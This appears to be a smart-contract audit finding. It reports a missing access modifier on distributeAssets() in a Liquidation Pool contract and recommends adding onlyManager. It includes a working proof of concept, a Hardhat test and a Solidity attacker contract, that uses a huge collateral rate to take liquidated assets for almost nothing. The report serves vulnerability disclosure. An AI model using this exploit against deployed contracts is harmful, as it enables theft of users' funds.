Summary
The distributeAssets() function in the Liquidation Pool contract is external and does not have an access modifier. This allows an attacker to call the function with a very high collateral rate and with an Assets array that corresponds with the assets obtained from a previous Vault liquidation.
Vulnerability Details
Here is a potential attacker scenario:
1: The attacker monitors the Liquidity Pool Manager (LPM) for Vault liquidations
2: When a Vault has been liquidated and one or several tokens distributed to the LPM, the attacker calls the distributeAssets() function with a very high value for the _collateralRate and an Assets array that corresponds with the assets and asset balances that have been distributed to the LPM
3: This updates the rewards array for each staker (proportional to their current staking positions) and allows to purchase liquidated assets with almost 0 EUROs, because of the high collateral rate that was provided in the distributeAssets() function by the attacker
4: The attacker calls claimReawards to retrieve the purchased liquidation assets.
To demonstrate the above mentioned attack scenario, the following Test/POC is provided:
Add the following test to the liquidationPool.js file:
it('allows purchasing liquidated assets with almost 0 EUROs by calling distributeAssets with a very high collateral rate', async () => {
const balance = ethers.utils.parseEther('100')
await TST.mint(user1.address, balance)
await EUROs.mint(user1.address, balance)
await TST.connect(user1).approve(LiquidationPool.address, balance)
await EUROs.connect(user1).approve(LiquidationPool.address, balance)
await LiquidationPool.connect(user1).increasePosition(balance, balance)
await fastForward(DAY)
const user1ETHBalanceBefore = await ethers.provider.getBalance(user1.address)
expect((await LiquidationPool.position(user1.address))._position.EUROs).to.equal(balance)
expect((await LiquidationPool.findRewards(user1.address))[0].amount).to.equal(0)
await user2.sendTransaction({ to: LiquidationPoolManager.address, value: ethers.utils.parseEther('1000') })
await LiquidationPool.connect(user2).distributeAssets([], DEFAULT_COLLATERAL_RATE, HUNDRED_PC, {
value: ethers.utils.parseEther('1000'),
})
expect(await ethers.provider.getBalance(LiquidationPool.address)).to.equal(ethers.utils.parseEther('1000'))
let liqPoolAttacker = await (
await ethers.getContractFactory('LiqPoolDistributeAssetsAttacker')
).deploy(LiquidationPool.address, TST.address, EUROs.address, VaultManager.address)
await liqPoolAttacker.attack()
expect((await LiquidationPool.position(user1.address))._position.EUROs).to.be.within(
ethers.utils.parseEther('99'),
ethers.utils.parseEther('100')
)
expect((await LiquidationPool.findRewards(user1.address))[0].amount).to.equal(ethers.utils.parseEther('1000'))
await LiquidationPool.connect(user1).claimRewards()
const user1ETHBalanceAfter = await ethers.provider.getBalance(user1.address)
expect(user1ETHBalanceAfter.sub(user1ETHBalanceBefore)).to.be.within(ethers.utils.parseEther('999'), ethers.utils.parseEther('1000'))
})
Add the following attacker contract to the utils directory:
pragma solidity 0.8.17;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "contracts/interfaces/ITokenManager.sol";
import "contracts/interfaces/ILiquidationPoolManager.sol";
import "contracts/interfaces/ISmartVaultManager.sol";
import "hardhat/console.sol";
interface ILiquidationPool {
function distributeAssets(ILiquidationPoolManager.Asset[] memory _assets, uint256 _collateralRate, uint256 _hundredPC) external;
}
contract LiqPoolDistributeAssetsAttacker {
ILiquidationPool private liquidationPool;
ISmartVaultManager private SVManager;
constructor(address _liquidationPool, address _TST, address _EUROs, address _SVManager) {
liquidationPool = ILiquidationPool(_liquidationPool);
SVManager = ISmartVaultManager(_SVManager);
}
function attack() public {
ITokenManager.Token[] memory tokens = ITokenManager(SVManager.tokenManager()).getAcceptedTokens();
ILiquidationPoolManager.Asset[] memory assets = new ILiquidationPoolManager.Asset[](tokens.length);
for (uint256 i = 0; i < tokens.length; i++) {
ITokenManager.Token memory token = tokens[i];
if (token.addr == address(0)) {
assets[0] = ILiquidationPoolManager.Asset(token, 1000 ether);
break;
}
}
liquidationPool.distributeAssets(assets, 999999999999, 1);
}
receive() external payable {
console.log("Val: ", msg.value);
}
}
Impact
Anyone can call this function and provide a very high value for the collateral rate in order purchase assets from a liquidated vault (liquidation rewards proportional to users staking position) for almost 0 EUROs.
Tools Used
Manual Review
Recommendations
Add the onlyManager modifier to the function